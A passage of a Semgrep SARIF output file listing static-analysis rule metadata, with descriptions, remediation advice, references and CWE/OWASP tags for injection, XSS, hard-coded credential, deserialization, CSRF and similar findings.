which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express","id":"javascript.express.db.mongoose-express.mongoose-express","name":"javascript.express.db.mongoose-express.mongoose-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-express.mongoose-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"help":{"markdown":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"helpUri":"https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity","id":"html.security.audit.missing-integrity.missing-integrity","name":"html.security.audit.missing-integrity.missing-integrity","properties":{"precision":"very-high","tags":["CWE-353: Missing Support for Integrity Check","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.audit.missing-integrity.missing-integrity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","id":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","name":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"help":{"markdown":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n","text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","id":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","name":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","id":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","name":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"help":{"markdown":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off)\n - [https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/](https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/)\n","text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"helpUri":"https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","id":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","name":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","id":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","name":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"help":{"markdown":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)\n","text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe","id":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","name":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-mark-safe.avoid-mark-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","id":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","name":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false","id":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","name":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-false.django-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"help":{"markdown":"This call turns off CSRF protection allowing CSRF attacks against the application\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection)\n - [https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection)\n","text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","id":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","name":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format","id":"javascript.express.security.injection.raw-html-format.raw-html-format","name":"javascript.express.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url","id":"rust.secrets.diesel.pg-connection-url.pg-connection-url","name":"rust.secrets.diesel.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Proxy declares a state var that may override a storage slot of the implementation"},"help":{"markdown":"Proxy declares a state var that may override a storage slot of the implementation\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision)\n - [https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22](https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22)\n","text":"Proxy declares a state var that may override a storage slot of the implementation"},"helpUri":"https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision","id":"solidity.security.proxy-storage-collision.proxy-storage-collision","name":"solidity.security.proxy-storage-collision.proxy-storage-collision","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.proxy-storage-collision.proxy-storage-collision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"help":{"markdown":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string)\n - [https://github.com/golang/go/issues/9200#issuecomment-66100328](https://github.com/golang/go/issues/9200#issuecomment-66100328)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","id":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","name":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","id":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","name":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep 